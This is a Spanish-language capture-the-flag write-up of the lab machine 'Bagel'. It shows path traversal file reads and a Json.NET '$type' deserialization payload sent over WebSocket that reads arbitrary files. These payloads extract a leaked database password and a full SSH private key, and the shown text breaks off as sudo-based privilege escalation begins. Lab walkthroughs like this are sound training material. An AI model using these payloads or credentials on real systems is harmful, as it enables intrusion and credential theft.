Bagel
16 minutos de lectura
dotnet
con sudo
, que puede usarse para escalar privilegios- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.201
- Fecha: 24 / 02 / 2023
Escaneo de puertos
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.201 -p 22,5000,8000
Nmap scan report for 10.10.11.201
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date:
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date:
| Connection: close
| Help, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date:
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date:
| Content-Length: 54
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (version).)</h1>
| TLSSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date:
| Content-Length: 52
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| http-title: Bagel — Free Website Template, Free HTML5 Template by fr...
|_Requested resource was http://bagel.htb:8000/?page=index.html
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 105.61 seconds
La máquina tiene abiertos los puertos 22 (SSH), 5000 y 8000 (HTTP).
Enumeración
Si vamos a http://10.10.11.201:8000
, se nos redirige a http://bagel.htb:8000/?page=index.html
. Después de configurar el dominio en /etc/hosts
, vemos esta página web:
El parámetro page
tienen toda la pinta de ser vulnerable a Local File Read (LFR) o Local File Inclusion (LFI). Podemos probarlo usando ./index.html
:
Usando Directory Traversal, podemos leer archivos del servidor como /etc/passwd
:
$ curl 'bagel.htb:8000/?page=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false
Aquí vemos que phil
y developer
son usuarios válidos en el sistema. Antes de seguir adelante, hay otro endpoint en /orders
, pero no sabemos qué es todavía:
Explotación de LFR
Un objetivo para las vulnerabilidades LFR / LFI es intentar leer el código fuente. Sin embargo, necesitamos conocer la ruta absoluta o relativa. Para esto, podemos usar ffuf
, y probar varias palabras hasta que descubramos una que coincida. Esta es la idea:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../FUZZ/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 73ms]
* FUZZ: static
Muy bien, entonces static
es el directorio que contiene index.html
. Sigamos subiendo hasta el directorio raíz:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../FUZZ/static/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 51ms]
* FUZZ: app
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../../FUZZ/app/static/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 48ms]
* FUZZ: developer
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../../../FUZZ/developer/app/static/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 62ms]
* FUZZ: home
Genial, por lo que la ruta absoluta es /home/developer/app/static/index.html
. Por la cabecera HTTP Server
, sabemos que el servidor está usando Python (probablemente Flask):
$ curl -I 10.10.11.201:8000
HTTP/1.1 302 FOUND
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Tue, 28 Feb 2023 23:02:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 263
Location: http://bagel.htb:8000/?page=index.html
Connection: close
Por lo tanto, podemos intentar encontrar archivos fuente con extensión .py
. Vamos a enumerar en /home/developer/app
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../../../home/developer/app/FUZZ' -fs 14 -e .py
[Status: 200, Size: 1235, Words: 319, Lines: 38, Duration: 54ms]
* FUZZ: app.py
Bien, leamos el archivo:
$ curl 'bagel.htb:8000/?page=../../../../home/developer/app/app.py'
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
Como se puede ver, el archivo se lee mediante send_file
, entonces tenemos una vulnerabilidad de LFR (no LFI, porque esto implicaría ejecución de código).
Además, podemos ver que en /orders
, el servidor se conecta al puerto 5000 a través de WebSocket y consulta un archivo orders.txt
. Podemos imitar esta funcionalidad desde nuestro lado:
$ python3 -q
>>> import json, websocket
>>> ws = websocket.WebSocket()
>>> ws.connect("ws://10.10.11.201:5000/")
>>> ws.send(json.dumps({'ReadOrder': 'orders.txt'}))
33
>>> json.loads(ws.recv())
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '7:47:00', 'RemoveOrder': None, 'WriteOrder': None, 'ReadOrder': 'order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n'}
Además, hay un comentario en el código fuente que se refiere a dotnet
(C# .NET) y una DLL. Probablemente, en el puerto 5000 hay una aplicación .NET que procesa las peticiones. Como tenemos LFR, podemos visualizar información de los procesos en ejecución en /proc/<pid>
. Particularmente, podemos leer cmdline
para ver cómo se inician los procesos desde la interfaz de línea de comandos. Para esto, usemos un simple bucle for
en Bash:
$ for i in {1..1000}; do (echo -n "$i: " && curl "bagel.htb:8000/?page=../../../../proc/$i/cmdline" -s) | grep -v ': $' | grep -av 'File not found'; done
1: /usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
758: /usr/lib/systemd/systemd-journald
771: /usr/lib/systemd/systemd-udevd
846: /usr/lib/systemd/systemd-oomd
849: /usr/lib/systemd/systemd-resolved
850: /usr/lib/systemd/systemd-userdbd
851: /sbin/auditd
852: /sbin/auditd
853: /usr/sbin/sedispatch
854: /usr/local/sbin/laurel--config/etc/laurel/config.toml
855: /sbin/auditd
883: /usr/sbin/NetworkManager--no-daemon
887: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
889: python3/home/developer/app/app.py
890: /usr/sbin/irqbalance--foreground
892: /usr/lib/polkit-1/polkitd--no-debug
893: /usr/sbin/rsyslogd-n
894: /usr/lib/systemd/systemd-logind
895: /usr/bin/VGAuthService-s
896: /usr/bin/vmtoolsd
898: /usr/sbin/rsyslogd-n
900: /usr/bin/dbus-broker-launch--scopesystem--audit
901: /usr/sbin/irqbalance--foreground
910: /usr/sbin/chronyd-F2
912: /usr/sbin/abrtd-d-s
916: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
917: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
918: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
919: dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
920: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
921: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
922: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
923: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
924: /usr/sbin/abrtd-d-s
926: /usr/sbin/abrtd-d-s
927: /usr/bin/abrt-dump-journal-core-D-T-f-e
928: /usr/bin/abrt-dump-journal-oops-fxtD
929: /usr/bin/abrt-dump-journal-xorg-fxtD
931: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
934: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
936: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
937: /usr/sbin/rsyslogd-n
939: /usr/bin/vmtoolsd
940: /usr/bin/vmtoolsd
943: /usr/sbin/NetworkManager--no-daemon
944: /usr/sbin/NetworkManager--no-daemon
946: /usr/lib/polkit-1/polkitd--no-debug
948: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
949: /usr/sbin/gssproxy-D
950: /usr/sbin/gssproxy-D
951: /usr/sbin/gssproxy-D
952: /usr/sbin/gssproxy-D
953: /usr/sbin/gssproxy-D
954: /usr/sbin/gssproxy-D
955: /usr/lib/polkit-1/polkitd--no-debug
961: /usr/bin/vmtoolsd
965: /usr/lib/polkit-1/polkitd--no-debug
966: /usr/lib/polkit-1/polkitd--no-debug
985: /usr/lib/polkit-1/polkitd--no-debug
992: /usr/sbin/ModemManager
Hay algunos PID que apuntan a /opt/bagel/bin/Debug/net6.0/bagel.dll
. En realidad, el comando que se está ejecutando es:
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
Hay un byte nulo que separa el comando y la ruta de la DLL:
$ curl "bagel.htb:8000/?page=../../../../proc/916/cmdline" -s | xxd
00000000: 646f 746e 6574 002f 6f70 742f 6261 6765 dotnet./opt/bage
00000010: 6c2f 6269 6e2f 4465 6275 672f 6e65 7436 l/bin/Debug/net6
00000020: 2e30 2f62 6167 656c 2e64 6c6c 00 .0/bagel.dll.
Vamos a descargar esta DLL:
$ curl 'bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -so - | file -
/dev/stdin: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ curl 'bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -so bagel.dll
Ingeniería inversa de la DLL
Dado que la DLL está compilada desde C# .NET, podemos abrirla en JetBrains dotPeek para extraer el código fuente en C#. Esta es la clase Bagel
, con la función Main
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Bagel
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using System;
using System.Text;
using System.Threading;
using WatsonWebsocket;
#nullable enable
namespace bagel_server
{
public class Bagel
{
private static string _ServerIp = "*";
private static int _ServerPort = 5000;
private static bool _Ssl = false;
private static WatsonWsServer _Server = (WatsonWsServer) null;
private static void Main(string[] args)
{
Bagel.InitializeServer();
Bagel.StartServer();
while (true)
Thread.Sleep(1000);
}
private static void InitializeServer()
{
Bagel._Server = new WatsonWsServer(Bagel._ServerIp, Bagel._ServerPort, Bagel._Ssl);
Bagel._Server.AcceptInvalidCertificates = true;
Bagel._Server.MessageReceived += new EventHandler<MessageReceivedEventArgs>(Bagel.MessageReceived);
}
private static async void StartServer() => await Bagel._Server.StartAsync(new CancellationToken());
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
ArraySegment<byte> data;
int num;
if (args.Data != (ArraySegment<byte>) (byte[]) null)
{
data = args.Data;
num = data.Count > 0 ? 1 : 0;
}
else
num = 0;
if (num != 0)
{
Encoding utF8 = Encoding.UTF8;
data = args.Data;
byte[] array = data.Array;
data = args.Data;
int count = data.Count;
json = utF8.GetString(array, 0, count);
}
Handler handler = new Handler();
object obj1 = handler.Deserialize(json);
object obj2 = handler.Serialize(obj1);
Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), new CancellationToken());
}
}
}
Esta clase solo configura el servidor WebSocket y pasa los datos en JSON a handler.Deserialize(json)
. Esta es la clase Handler
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Handler
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using Newtonsoft.Json;
#nullable enable
namespace bagel_server
{
public class Handler
{
public object Serialize(object obj) => (object) JsonConvert.SerializeObject(obj, (Formatting) 1, new JsonSerializerSettings()
{
TypeNameHandling = (TypeNameHandling) 4
});
public object Deserialize(string json)
{
try
{
return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
{
TypeNameHandling = (TypeNameHandling) 4
});
}
catch
{
return (object) "{\"Message\":\"unknown\"}";
}
}
}
}
Aquí tenemos algo interesante:
return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
{
TypeNameHandling = (TypeNameHandling) 4
});
Se sabe que JSON y .NET son vulnerables a deserialización insegura si no hay una byena implementación. Hay herramientas como ysoserial.net
que se utilizan para realizar ataques de deserialización en C# .NET. Nótese que (TypeNameHandling) 4
es lo mismo que TypeNameHandling.Auto
, como se muestra en www.newtonsoft.com.
Después de investigar un poco sobre deserialización insegura en .NET en systemweakness.com, vemos que la implementación es correcta. Por ejemplo, se utiliza Json.DeserializeObject<Base>
, por lo que solamente instancias de la clase Base
serán deserializadas:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Base
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using System;
#nullable enable
namespace bagel_server
{
public class Base : Orders
{
private int userid = 0;
private string session = "Unauthorized";
public int UserId
{
get => this.userid;
set => this.userid = value;
}
public string Session
{
get => this.session;
set => this.session = value;
}
public string Time => DateTime.Now.ToString("h:mm:ss");
}
}
Los atributos de esta clase se uestran en la respuesta de WebSocket (userid
, time
y Session
). Además, obsérvese que Base
hereda de Orders
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Orders
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
#nullable enable
namespace bagel_server
{
public class Orders
{
private string order_filename;
private string order_info;
private File file = new File();
public object RemoveOrder { get; set; }
public string WriteOrder
{
get => this.file.WriteFile;
set
{
this.order_info = value;
this.file.WriteFile = this.order_info;
}
}
public string ReadOrder
{
get => this.file.ReadFile;
set
{
this.order_filename = value;
this.order_filename = this.order_filename.Replace("/", "");
this.order_filename = this.order_filename.Replace("..", "");
this.file.ReadFile = this.order_filename;
}
}
}
}
Y aquí tenemos el otro atributo de la respuesta de WebSocket (ReadOrder
). Hay dos opciones más: WriteOrder
y RemoveOrder
. Vamos a prubar WriteOrder
:
>>> ws.send(json.dumps({'WriteOrder': 'asdf'}))
28
>>> print(json.loads(ws.recv()))
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '5:31:08', 'RemoveOrder': None, 'WriteOrder': 'Operation successed', 'ReadOrder': None}
Ahora en /orders
se muestran nuestros datos:
$ curl bagel.htb:8000/orders
asdf
Pero no hay nada que hacer con WriteOrder
, el servidor Flask solo imprime los resultados, no hay ejecución de código o motores de plantillas involucrados.
Centrémonos en cómo se manejan las operaciones de archivos. Al configurar ReadOrder
, la ruta se filtra correctamente para eliminar las barras (/
) y los dos puntos (..
). Luego, this.file.ReadFile
se configura como this.order_filename
(que era value
, el valor ingresado al método setter). Además, fparaor WriteOrder
, this.file.WriteFile
se configura como this.order_info
, que es value
.
Esta es la clase File
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.File
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using System;
using System.Text;
#nullable enable
namespace bagel_server
{
public class File
{
private string file_content;
private string IsSuccess = (string) null;
private string directory = "/opt/bagel/orders/";
private string filename = "orders.txt";
public string ReadFile
{
set
{
this.filename = value;
this.ReadContent(this.directory + this.filename);
}
get => this.file_content;
}
public void ReadContent(string path)
{
try
{
this.file_content += string.Join("\n", System.IO.File.ReadLines(path, Encoding.UTF8));
}
catch (Exception ex)
{
this.file_content = "Order not found!";
}
}
public string WriteFile
{
get => this.IsSuccess;
set => this.WriteContent(this.directory + this.filename, value);
}
public void WriteContent(string filename, string line)
{
try
{
System.IO.File.WriteAllText(filename, line);
this.IsSuccess = "Operation successed";
}
catch (Exception ex)
{
this.IsSuccess = "Operation failed";
}
}
}
}
Obsérvese que hay dos atributos llamados directory
y filename
que están hard-coded. De hecho, podemos consultar el archivo orders.txt
con la vulnerabilidad de LFR:
$ curl 'bagel.htb:8000/?page=../../../../opt/bagel/orders/orders.txt'
asdf
En ReadFile
, this.filename
se actualiza a value
. Sin embargo, recordemos que ReadOrder
corregía la variable order_filename
.
Hay una clase adicional DB
que no se utiliza nunca:
// Decompiled with JetBrains decompiler
// Type: bagel_server.DB
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using Microsoft.Data.SqlClient;
using System;
namespace bagel_server
{
public class DB
{
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
SqlConnection sqlConnection = new SqlConnection("Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K");
}
}
}
Muestra las credenciales de la base de datos: dev:k8wdAYYKyhnjg3K
.
Acceso a la máquina
Sabemos que developer
es un usuario del sistema, porque aparece en /etc/hosts
, Podemos intentar reutilizar estas credenciales para SSH, pero la autenticación por contraseña está deshabilitada:
$ ssh developer@10.10.11.201
developer@10.10.11.201: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
Ataque de deserialización
Aunque la implementación de la serialización es correcta, hay un fallo en la clase Orders
, en particular, en el atributo RemoveOrder
:
public object RemoveOrder { get; set; }
El tipo object
es el padre de todos los objetos, por lo que podemos hacer que RemoveOrder
sea realmente de tipo File
y leer archivos arbitrarios con ReadFile
. Para que esto funcione, hay que poner la palabra clave $type
en el payload JSON con valor bagel_server.File, bagel
(por el nombre del namespace más la clase y el nombre del archivo DLL). Este es un ejemplo para leer /etc/hosts
usando Directory Traversal:
>>> ws.send(json.dumps({'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '../../../etc/hosts'}}))
94
>>> print(json.loads(ws.recv()))
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '6:04:07', 'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '# Loopback entries; do not change.\n# For historical reasons, localhost precedes localhost.localdomain:\n127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 bagel\n::1 localhost localhost.localdomain localhost6 localhost6.localdomain6\n# See hosts(5) for proper format and other examples:\n# 192.168.1.10 foo.mydomain.org foo\n# 192.168.1.13 bar.mydomain.org bar', 'WriteFile': None}, 'WriteOrder': None, 'ReadOrder': None}
En este punto, podemos intentar leer la clave privada SSH para el usuario developer
:
>>> ws.send(json.dumps({'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '../../../home/developer/.ssh/id_rsa'}}))
111
>>> print(json.loads(ws.recv())['RemoveOrder']['ReadFile'])
Order not found!
Pero no se encuentra, tal vez phil
(el otro usuario de sistema) tiene una clave privada:
>>> ws.send(json.dumps({'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '../../../home/phil/.ssh/id_rsa'}}))
106
>>> print(json.loads(ws.recv())['RemoveOrder']['ReadFile'])
-----BEGIN OPENSSH PRIVATE KEY-----
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
nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=
-----END OPENSSH PRIVATE KEY-----
¡Ahí está!Ahora tenemos acceso a través de SSH:
$ ssh -i id_rsa phil@10.10.11.201
[phil@bagel ~]$ cat user.txt
d028bd3daa4678b4108e39ad43a16ece
No hay nada que ver con este usuario. Podemos cambiar al usuario developer
reutilizando la contraseña de acceso a la base de datos (k8wdAYYKyhnjg3K
):
[phil@bagel ~]$ su developer
Password:
[developer@bagel phil]$ cd
[developer@bagel ~]$
Escalada de privilegios
Este usuario puede ejecutar dotnet
como root
usando sudo
:
[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
